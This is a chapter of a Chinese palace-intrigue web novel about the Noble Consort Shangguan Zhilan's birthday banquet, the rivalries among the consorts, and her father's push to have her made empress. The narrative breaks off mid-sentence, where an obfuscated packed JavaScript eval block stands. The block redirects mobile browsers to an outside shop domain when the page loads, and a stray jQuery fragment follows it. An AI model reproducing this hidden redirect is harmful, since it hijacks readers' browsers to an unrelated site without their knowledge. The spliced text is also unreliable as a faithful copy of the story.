十月三十是贵妃生辰,这一日是极热闹的,宫中嫔妃,有等级的女官都要来祝寿。
宫中没有皇后,贵妃居大,执掌宫务,其父又是先帝亲自任命的辅政大臣,如今的百官之首上官珩,为贵妃贺寿,岂有不尽心的?
幽兰殿一早便是门庭若市,高朋满座。
谢池春带着准备好的贺礼来时,幽兰殿欢声一片,穆昭容、姜俢仪、魏修容、史婕妤,还有十来位美人、才人、宝林等嫔妃均已经到了。
殿中幽香阵阵,诸位妃嫔无一不年轻貌美,高梳云髻,额间花钿,两颊斜红,裙摆生香,环珮叮咚。
一屋子美人中,一眼望去,最瞩目的自然是贵妃。
一是为众妃嫔均簇拥着贵妃,贵妃坐在众位美人中间,自然叫人的目光先落在她身上,二是贵妃气质雍容温雅,一举一动仿佛画中的仕女图一般,不疾不徐。
再看向其他妃嫔,身着红罗裙的是姜俢仪,姜俢仪说话语调轻快,祝寿之辞一套接着一套都不带重样的,逗得贵妃也忍不住发笑。
姜俢仪旁边穿群青色纱笼裙的是穆昭容,穆昭容看着沉稳许多,言语不多,只偶尔附和两句。
魏修容、史婕妤也你一言我一语地夸赞贵妃今日服饰妆容,还有王宝林王若瑶也来了。
“贵妃。”谢池春含笑上前,“贵妃今日喜日,祝贵妃顺遂无虞,皆得所愿。”
贵妃笑拉着她的手,“快来坐下吧。”
经过上回杨泠一事,她对谢池春倒是印象颇为深刻,临危不乱,条理清晰,贵妃颇为欣赏谢池春,觉得谢池春倒适合帮着执掌宫务。
贵妃有心栽培谢池春,不过今日是她生辰,也不适宜谈论这些,自然先按下不提。
“贵妃姐姐。”
二妃携手而来,笑道,“我们来晚了。”
此二妃便是德妃陶岑菀和贤妃杨抱玉。
只见德妃贤妃穿着都甚是雅清,德妃着葡萄藤石榴花纹样破裙,披着一条鎏金绘彩轻纱披帛,白玉臂钏青玉钿。贤妃着彩绘宽袖白绢衫,碧青色裙子,戴一枚灵巧的蝴蝶步摇,随着她的走动轻轻摆动。
贵妃笑道,“既来晚了,一会罚你们多饮一杯。”
二人都笑着应下。
“贵妃。”
最后到来的是淑妃薛巧鸾,薛巧鸾只淡淡行了个礼,便自在一旁坐下。
贵妃、德妃、贤妃也都同她打过招呼。虽然同居四妃之位,但可以看出,贵妃、德妃、贤妃三人更熟悉亲近,而淑妃薛巧鸾与她们三人之间却要生疏客套一些,不过淑妃显然也并不在意,自顾自坐在一旁,并不愿与人搭话。
“贵妃。”富立岑满脸堆笑来了,身后几十个小太监站成两列,手中均捧着红漆托盘,上头金银玉器、布匹绫罗、鲜花珍果,无一不精。富立岑笑道,“这都是陛下的赐礼,陛下朝中还有事一时脱不开身,叫奴才来给贵妃说一声,陛下晚些过来。”
贵妃含笑道,“是。请公公代我谢过陛下。”
富立岑含笑弯腰道,“吉祥云里吉祥声,祥徵仙木丰为瑞,奴才在这里给贵妃贺寿,祝贵妃嘉门福喜,喜至庆来。”
贵妃笑道,“借公公吉言。”
“那奴才先告退。”小太监们已经将赐礼都安放好,富立岑带着人退下。
贵妃笑道,“时辰差不多了,大家移步宴饮亭吧。”
贵妃设宴在宴饮亭中,那边地方大且开阔,宴饮时就着外头秋色,红枫绿叶,曲水流觞,自然更有风致。
宫人流水般按次摆酒上菜,吃一道便有宫人行云流水地撤下,换上新的菜碟。
丝竹之声袅袅,贵妃平日无意于歌舞,不过今日热闹,还是安排了丝竹管弦,歌舞助兴。宫人绿裳粉裙,腰肢款款,翠袖垂曳,踏着丝竹鼓声而舞,罗衣从风,长袖交横,边舞边唱。
众嫔妃一一向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010194|147413||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
贵妃祝酒贺寿,欢声一片。
贵妃不胜酒力,面上泛起一层灼灼桃花色,更显美丽动人。
只是,直至宴饮将近,还未见梁垣身影。夜空中五彩烟花砰然绽放,吸引了所有人的目光。
“琴心。”贵妃对身边的琴心道,“你去看看,陛下是否还忙于公务。”
“主子。”琴心弯腰为她倒酒,此处人多,她原想晚些再向贵妃禀报,“今日老爷向陛下上本,请求陛下册封您为皇后。”
只听得砰的一声,一枚巨大的烟花在空中炸开,金色的焰火在空中盛放到极致,随即化为万千流火,向下坠落,消失在夜色中。
贵妃定了定神,才问道,“陛下如何说?”
琴心摇头,“陛下没有回复。”
上官芷兰柳眉微蹙,她知道,阿耶一直想让陛下册封她为后,这也已经不是第一回向陛下晋言,今日她生辰,阿耶送来的礼物里十二树的花钗冠,分明是皇后才能用的。
上官芷兰心中忧虑,她看得出来,陛下根本无意立她为后,阿耶如此,只恐怕会触怒陛下。陛下连她的生辰宴逗不肯到场,难道不是恼了她吗?
陛下是年轻气盛的天子,阿耶是先帝托孤的老臣,她也曾经多次劝谏阿耶,陛下胸怀大略,自有城府,劝阿耶不要事事顶撞陛下,与陛下相悖。阿耶却只道她是妇人之见,根本听不进去她的话。
如今他们家看着繁花似锦,烈火烹油,上官芷兰只害怕如此下去,恐怕不能长久。
“陛下到。”
富立岑高声唱道。
上官芷兰一愣,连忙起身行礼。诸位嫔妃也都纷纷起身,“陛下。”
梁垣将上官芷兰扶起,“朕公务缠身,来晚了。”
上官芷兰摇头,眼中柔情一片,“陛下来了,妾便十分满足了。”
梁垣拉着她坐下,“不必拘束,你们继续饮宴。”
“是。”